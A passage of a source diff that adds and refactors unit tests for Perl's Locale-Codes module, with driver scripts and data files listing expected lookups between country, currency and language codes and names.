@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('country','error','oo','alpha-2',1);
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/errors.2.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/errors.2.t
new file mode 100644
index 00000000000..8117b962ad6
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/errors.2.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('country','error','oo',undef,1);
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/langext_func.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/langext_func.t
new file mode 100644
index 00000000000..b91235d57df
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/langext_func.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('langext','','func');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/langext_oo.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/langext_oo.t
new file mode 100644
index 00000000000..119af07cfa0
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/langext_oo.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('langext','','oo');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/langfam_func.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/langfam_func.t
new file mode 100644
index 00000000000..3e75b34ba9a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/langfam_func.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('langfam','','func');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/langfam_oo.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/langfam_oo.t
new file mode 100644
index 00000000000..4a337b0ae25
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/langfam_oo.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('langfam','','oo');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/language_func.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/language_func.t
new file mode 100644
index 00000000000..4acc825f828
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/language_func.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('language','','func');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/language_old.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/language_old.t
index 217ba267c99..aa4a1d03d60 100644
--- a/gnu/usr.bin/perl/cpan/Locale-Codes/t/language_old.t
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/language_old.t
@@ -1,90 +1,18 @@
-#!/usr/bin/perl -w
+#!/usr/bin/perl
+use warnings;
+use strict;
require 5.002;
-$runtests=shift(@ARGV);
-if ( -f "t/testfunc.pl" ) {
- require "t/testfunc.pl";
- $dir="./lib";
- $tdir="t";
-} elsif ( -f "testfunc.pl" ) {
- require "testfunc.pl";
- $dir="../lib";
- $tdir=".";
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
} else {
- die "ERROR: cannot find testfunc.pl\n";
+ die "ERROR: cannot find do_tests.pl\n";
}
-unshift(@INC,$dir);
-use Locale::Language;
-
-%type = ( "LOCALE_LANG_ALPHA_2" => LOCALE_LANG_ALPHA_2,
- "LOCALE_LANG_ALPHA_3" => LOCALE_LANG_ALPHA_3,
- "LOCALE_LANG_TERM" => LOCALE_LANG_TERM,
- );
-
-sub test {
- my(@test) = @_;
-
- if ($test[0] eq "rename_language") {
- shift(@test);
- $test[2] = $type{$test[2]}
- if (@test == 3 && $test[2] && exists $type{$test[2]});
- return Locale::Language::rename_language(@test,"nowarn");
-
- } elsif ($test[0] eq "add_language") {
- shift(@test);
- $test[2] = $type{$test[2]}
- if (@test == 3 && $test[2] && exists $type{$test[2]});
- return Locale::Language::add_language(@test,"nowarn");
-
- } elsif ($test[0] eq "delete_language") {
- shift(@test);
- $test[1] = $type{$test[1]}
- if (@test == 2 && $test[1] && exists $type{$test[1]});
- return Locale::Language::delete_language(@test,"nowarn");
-
- } elsif ($test[0] eq "add_language_alias") {
- shift(@test);
- return Locale::Language::add_language_alias(@test,"nowarn");
-
- } elsif ($test[0] eq "delete_language_alias") {
- shift(@test);
- return Locale::Language::delete_language_alias(@test,"nowarn");
-
- } elsif ($test[0] eq "language2code") {
- shift(@test);
- $test[1] = $type{$test[1]}
- if (@test == 2 && $test[1] && exists $type{$test[1]});
- return language2code(@test);
-
- } else {
- $test[1] = $type{$test[1]}
- if (@test == 2 && $test[1] && exists $type{$test[1]});
- return code2language(@test);
- }
-}
-
-$tests = "
-
-zu ~ Zulu
-
-rename_language zu NewName LOCALE_LANG_FOO ~ 0
-
-rename_language zu English LOCALE_LANG_ALPHA_2 ~ 0
-
-rename_language zu NewName LOCALE_LANG_ALPHA_3 ~ 0
-
-zu ~ Zulu
-
-rename_language zu NewName LOCALE_LANG_ALPHA_2 ~ 1
-
-zu ~ NewName
-
-";
-
-print "language (old; semi-private)...\n";
-test_Func(\&test,$tests,$runtests);
+do_tests('language','','old');
1;
# Local Variables:
@@ -95,5 +23,5 @@ test_Func(\&test,$tests,$runtests);
# cperl-continued-brace-offset: 0
# cperl-brace-offset: 0
# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: -2
+# cperl-label-offset: 0
# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/language_oo.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/language_oo.t
new file mode 100644
index 00000000000..5aa3b3035bc
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/language_oo.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('language','','oo');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/langvar_func.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/langvar_func.t
new file mode 100644
index 00000000000..1c7d23759ee
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/langvar_func.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('langvar','','func');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/langvar_oo.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/langvar_oo.t
new file mode 100644
index 00000000000..9b22a98dc4e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/langvar_oo.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('langvar','','oo');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/script_func.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/script_func.t
new file mode 100644
index 00000000000..043238af239
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/script_func.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('script','','func');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/script_old.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/script_old.t
new file mode 100644
index 00000000000..c76b895d1cf
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/script_old.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('script','','old');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/script_oo.t b/gnu/usr.bin/perl/cpan/Locale-Codes/t/script_oo.t
new file mode 100644
index 00000000000..d15d4411357
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/script_oo.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+ require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+ require "./do_tests.pl";
+} else {
+ die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('script','','oo');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_country.pl b/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_country.pl
new file mode 100644
index 00000000000..3a282f47a15
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_country.pl
@@ -0,0 +1,969 @@
+#!/usr/bin/perl
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# This program is free software; you can redistribute it and/or modify it
+# under the same terms as Perl itself.
+
+use warnings;
+use strict;
+
+$::tests = '';
+
+$::tests = "
+##################
+# code2country
+
+all_names
+2
+ ~
+ Afghanistan
+ Aland Islands
+
+all_codes
+2
+ ~
+ ad
+ ae
+
+all_names
+retired
+2
+ ~
+ Afghanistan
+ Aland Islands
+
+all_codes
+retired
+2
+ ~
+ ad
+ ae
+
+all_names
+foo
+2
+ ~
+
+all_codes
+foo
+2
+ ~
+
+2name
+zz
+ _undef_
+
+2name
+zz
+alpha-2
+ _undef_
+
+2name
+zz
+alpha-3
+ _undef_
+
+2name
+zz
+numeric
+ _undef_
+
+2name
+ja
+ _undef_
+
+2name
+uk
+ _undef_
+
+2name
+BO
+ Bolivia (Plurinational State of)
+
+2name
+BO
+alpha-2
+ Bolivia (Plurinational State of)
+
+2name
+bol
+alpha-3
+ Bolivia (Plurinational State of)
+
+2name
+pk
+ Pakistan
+
+2name
+sn
+ Senegal
+
+2name
+us
+ United States of America
+
+2name
+ad
+ Andorra
+
+2name
+ad
+alpha-2
+ Andorra
+
+2name
+and
+alpha-3
+ Andorra
+
+2name
+020
+numeric
+ Andorra
+
+2name
+48
+numeric
+ Bahrain
+
+2name
+zw
+ Zimbabwe
+
+2name
+gb
+ United Kingdom of Great Britain and Northern Ireland
+
+2name
+kz
+ Kazakhstan
+
+2name
+mo
+ Macao
+
+2name
+tl
+alpha-2
+ Timor-Leste
+
+2name
+tls
+alpha-3
+ Timor-Leste
+
+2name
+626
+numeric
+ Timor-Leste
+
+2name
+BO
+alpha-3
+ _undef_
+
+2name
+BO
+numeric
+ _undef_
+
+2name
+ax
+ Aland Islands
+
+2name
+ala
+alpha-3
+ Aland Islands
+
+2name
+248
+numeric
+ Aland Islands
+
+2name
+scg
+alpha-3
+ _undef_
+
+2name
+891
+numeric
+ _undef_
+
+2name
+rou
+alpha-3
+ Romania
+
+2name
+zr
+ _undef_
+
+2name
+zr
+retired
+ Zaire
+
+2name
+jp
+alpha-2
+not_retired
+other_arg
+ Japan
+
+2name
+jp
+_blank_
+ Japan
+
+2name
+jp
+alpha-15
+ _undef_
+
+2name
+jp
+alpha-2
+retired
+ Japan
+
+2name
+z0
+alpha-2
+retired
+ _undef_
+
+##################
+# country2code
+
+2code
+kazakhstan
+ kz
+
+2code
+kazakstan
+ kz
+
+2code
+macao
+ mo
+
+2code
+macau
+ mo
+
+2code
+japan
+ jp
+
+2code
+Japan
+ jp
+
+2code
+United States
+ us
+
+2code
+United Kingdom
+ gb
+
+2code
+Andorra
+ ad
+
+2code
+Zimbabwe
+ zw
+
+2code
+Iran
+ ir
+
+2code
+North Korea
+ kp
+
+2code
+South Korea
+ kr
+
+2code
+Libya
+ ly
+
+2code
+Syrian Arab Republic
+ sy
+
+2code
+Svalbard
+ _undef_
+
+2code
+Jan Mayen
+ _undef_
+
+2code
+USA
+ us
+
+2code
+United States of America
+ us
+
+2code
+Great Britain
+ gb
+
+2code
+Burma
+ mm
+
+2code
+French Southern and Antarctic Lands
+ tf
+
+2code
+Aland Islands
+ ax
+
+2code
+Yugoslavia
+ _undef_
+
+2code
+Serbia and Montenegro
+ _undef_
+
+2code
+East Timor
+ tl
+
+2code
+Zaire
+ _undef_
+
+2code
+Zaire
+retired
+ zr
+
+2code
+Congo, The Democratic Republic of the
+ cd
+
+2code
+Congo, The Democratic Republic of the
+alpha-3
+ cod
+
+2code
+Congo, The Democratic Republic of the
+numeric
+ 180
+
+2code
+Syria
+ sy
+
+# Last codes in each set (we'll assume that if we got these, there's a good
+# possiblity that we got all the others).
+
+2code
+Zimbabwe
+alpha-2
+ zw
+
+2code
+Zimbabwe
+alpha-3
+ zwe
+
+2code
+Zimbabwe
+numeric
+ 716
+
+2code
+Zimbabwe
+dom
+ zw
+
+2code
+Zimbabwe
+dom
+ zw
+
+2code
+Zimbabwe
+foo
+ _undef_
+
+2code
+Zipper
+dom
+retired
+ _undef_
+
+##################
+# countrycode2code
+
+code2code
+bo
+alpha-2
+alpha-2
+ bo
+
+code2code
+bo
+alpha-3
+alpha-3
+ _undef_
+
+code2code
+zz
+alpha-2
+alpha-3
+ _undef_
+
+code2code
+zz
+alpha-3
+alpha-3
+ _undef_
+
+code2code
+zz
+alpha-2
+0
+ _undef_
+
+code2code
+bo
+alpha-2
+0
+ _undef_
+
+code2code
+_blank_
+0
+0
+ _undef_
+
+code2code
+BO
+alpha-2
+alpha-3
+ bol
+
+code2code
+bol
+alpha-3
+alpha-2
+ bo
+
+code2code
+zwe
+alpha-3
+alpha-2
+ zw
+
+code2code
+858
+numeric
+alpha-3
+ ury
+
+code2code
+858
+numeric
+alpha-3
+ ury
+
+code2code
+tr
+alpha-2
+numeric
+ 792
+
+code2code
+tr
+alpha-2
+ tr
+
+code2code
+ _undef_
+
+###################################
+# Test rename_country
+
+2name
+gb
+ United Kingdom of Great Britain and Northern Ireland
+
+rename
+x1
+NewName
+ 0
+
+rename
+gb
+NewName
+foo
+ 0
+
+rename
+gb
+Macao
+ 0
+
+rename
+gb
+NewName
+alpha3
+ 0
+
+2name
+gb
+ United Kingdom of Great Britain and Northern Ireland
+
+rename
+gb
+NewName
+ 1
+
+2name
+gb
+ NewName
+
+2name
+us
+ United States of America
+
+rename
+us
+The United States
+ 1
+
+2name
+us
+ The United States
+
+###################################
+# Test add
+
+2name
+xx
+ _undef_
+
+add
+xx
+Bolivia
+ 0
+
+add
+fi
+Xxxxx
+ 0
+
+add
+xx
+Xxxxx
+ 1
+
+2name
+xx
+ Xxxxx
+
+add
+xx
+Xxxxx
+foo
+ 0
+
+add
+xy
+New Country
+alpha-2
+ 1
+
+add
+xyy
+New Country
+alpha-3
+ 1
+
+###################################
+# Test add_alias
+
+add_alias
+FooBar
+NewName
+ 0
+
+add_alias
+Australia
+Angola
+ 0
+
+2code
+Australia
+ au
+
+2code
+DownUnder
+ _undef_
+
+add_alias
+Australia
+DownUnder
+ 1
+
+2code
+DownUnder
+ au
+
+###################################
+# Test delete_alias
+
+2code
+uk
+ gb
+
+delete_alias
+Foobar
+ 0
+
+delete_alias
+UK
+ 1
+
+2code
+uk
+ _undef_
+
+delete_alias
+Angola
+ 0
+
+# Complicated example
+
+add
+z1
+NameA1
+alpha-2
+ 1
+
+add_alias
+NameA1
+NameA2
+alpha-2
+ 1
+
+add
+zz1
+NameA2
+alpha-3
+ 1
+
+2name
+z1
+ NameA1
+
+2name
+zz1
+alpha-3
+ NameA2
+
+code2code
+z1
+alpha-2
+alpha-3
+ zz1
+
+delete_alias
+NameA2
+ 1
+
+2name
+z1
+ NameA1
+
+2name
+zz1
+alpha-3
+ NameA1
+
+# Complicated example
+
+add
+z2
+NameB1
+alpha-2
+ 1
+
+add_alias
+NameB1
+NameB2
+alpha-2
+ 1
+
+add
+zz2
+NameB2
+alpha-3
+ 1
+
+2name
+z2
+ NameB1
+
+2name
+zz2
+alpha-3
+ NameB2
+
+code2code
+z2
+alpha-2
+alpha-3
+ zz2
+
+delete_alias
+NameB1
+ 1
+
+2name
+z2
+ NameB2
+
+2name
+zz2
+alpha-3
+ NameB2
+
+###################################
+# Test delete
+
+2code
+Angola
+ ao
+
+2code
+Angola
+alpha-3
+ ago
+
+delete
+ao
+ 1
+
+2code
+Angola
+ _undef_
+
+2code
+Angola
+alpha-3
+ ago
+
+delete
+ago
+foo
+ 0
+
+delete
+zz
+ 0
+
+###################################
+# Test replace_code
+
+2name
+zz
+ _undef_
+
+2name
+ar
+ Argentina
+
+2code
+Argentina
+ ar
+
+replace_code
+ar
+us
+ 0
+
+replace_code
+ar
+zz
+ 1
+
+replace_code
+us
+ar
+ 0
+
+2name
+zz
+ Argentina
+
+2name
+ar
+ Argentina
+
+2code
+Argentina
+ zz
+
+replace_code
+zz
+ar
+ 1
+
+2name
+zz
+ Argentina
+
+2name
+ar
+ Argentina
+
+2code
+Argentina
+ ar
+
+replace_code
+ar
+z2
+foo
+ 0
+
+replace_code
+ar
+z2
+alpha-3
+ 0
+
+###################################
+# Test add_code_alias and
+# delete_code_alias
+
+2name
+bm
+ Bermuda
+
+2name
+yy
+ _undef_
+
+2code
+Bermuda
+ bm
+
+add_code_alias
+bm
+us
+ 0
+
+add_code_alias
+bm
+zz
+ 0
+
+add_code_alias
+bm
+yy
+ 1
+
+2name
+bm
+ Bermuda
+
+2name
+yy
+ Bermuda
+
+2code
+Bermuda
+ bm
+
+delete_code_alias
+us
+ 0
+
+delete_code_alias
+ww
+ 0
+
+delete_code_alias
+yy
+ 1
+
+2name
+bm
+ Bermuda
+
+2name
+yy
+ _undef_
+
+2code
+Bermuda
+ bm
+
+add_code_alias
+bm
+yy
+ 1
+
+2name
+yy
+ Bermuda
+
+add
+yy
+Foo
+ 0
+
+delete
+bm
+ 1
+
+2name
+bm
+ _undef_
+
+add_code_alias
+bm
+y2
+foo
+ 0
+
+add_code_alias
+bm
+y2
+alpha-3
+ 0
+
+delete_code_alias
+bm
+foo
+ 0
+";
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
+
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_currency.pl b/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_currency.pl
new file mode 100644
index 00000000000..2c07b41ac16
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_currency.pl
@@ -0,0 +1,128 @@
+#!/usr/bin/perl
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# This program is free software; you can redistribute it and/or modify it
+# under the same terms as Perl itself.
+
+use warnings;
+use strict;
+
+$::tests = '';
+
+$::tests = "
+
+2code
+Canadian Dollar
+ cad
+
+2code
+Belize Dollar
+ bzd
+
+2code
+PULA
+ bwp
+
+2code
+Riel
+ khr
+
+2code
+Zimbabwe Dollar
+ zwl
+
+2name
+KHR
+ Riel
+
+code2code
+BZD
+alpha
+num
+ 084
+
+2name
+BOB
+ Boliviano
+
+2name
+all
+ Lek
+
+2name
+bnd
+ Brunei Dollar
+
+2name
+bob
+ Boliviano
+
+2name
+chf
+ Swiss Franc
+
+2name
+cop
+ Colombian Peso
+
+2name
+dkk
+ Danish Krone
+
+2name
+fjd
+ Fiji Dollar
+
+2name
+idr
+ Rupiah
+
+2name
+mmk
+ Kyat
+
+2name
+mvr
+ Rufiyaa
+
+2name
+mwk
+ Malawi Kwacha
+
+2name
+rub
+ Russian Ruble
+
+2name
+zmw
+ Zambian Kwacha
+
+2name
+zwl
+ Zimbabwe Dollar
+
+all_codes
+2
+ ~
+ AED
+ AFN
+
+all_names
+2
+ ~
+ ADB Unit of Account
+ Afghani
+
+";
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
+
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_error.pl b/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_error.pl
new file mode 100644
index 00000000000..6192ae414dc
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_error.pl
@@ -0,0 +1,52 @@
+#!/usr/bin/perl
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# This program is free software; you can redistribute it and/or modify it
+# under the same terms as Perl itself.
+
+use warnings;
+use strict;
+
+$::tests = '';
+
+$::tests = "
+all_names
+foo
+2
+ ~
+ ERROR: _code: invalid codeset provided: foo
+
+2name
+zz
+ ~
+ ERROR: _code: code not in codeset: zz [alpha-2]
+
+type
+zz
+ ~
+ ERROR: type: invalid argument: zz
+
+2name
+aaa
+numeric
+ ~
+ ERROR: _code: invalid numeric code: aaa
+
+codeset
+zz
+ ~
+ ERROR: codeset: invalid argument: zz
+
+";
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
+
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_langext.pl b/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_langext.pl
new file mode 100644
index 00000000000..28e9cb88065
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_langext.pl
@@ -0,0 +1,52 @@
+#!/usr/bin/perl
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# This program is free software; you can redistribute it and/or modify it
+# under the same terms as Perl itself.
+
+use warnings;
+use strict;
+
+$::tests = '';
+
+$::tests = "
+
+2code
+Mesopotamian Arabic
+ acm
+
+2name
+acm
+ Mesopotamian Arabic
+
+code2code
+ACM
+alpha
+alpha
+ acm
+
+all_codes
+2
+ ~
+ aao
+ abh
+
+all_names
+2
+ ~
+ Adamorobe Sign Language
+ Afghan Sign Language
+
+";
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
+
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_langfam.pl b/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_langfam.pl
new file mode 100644
index 00000000000..8844b083151
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_langfam.pl
@@ -0,0 +1,53 @@
+#!/usr/bin/perl
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# This program is free software; you can redistribute it and/or modify it
+# under the same terms as Perl itself.
+
+use warnings;
+use strict;
+
+$::tests = '';
+
+$::tests = "
+
+2code
+Apache languages
+ ~
+ apa
+
+2name
+apa
+ Apache languages
+
+code2code
+apa
+alpha
+alpha
+ apa
+
+all_codes
+2
+ ~
+ aav
+ afa
+
+all_names
+2
+ ~
+ Afro-Asiatic languages
+ Alacalufan languages
+
+";
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
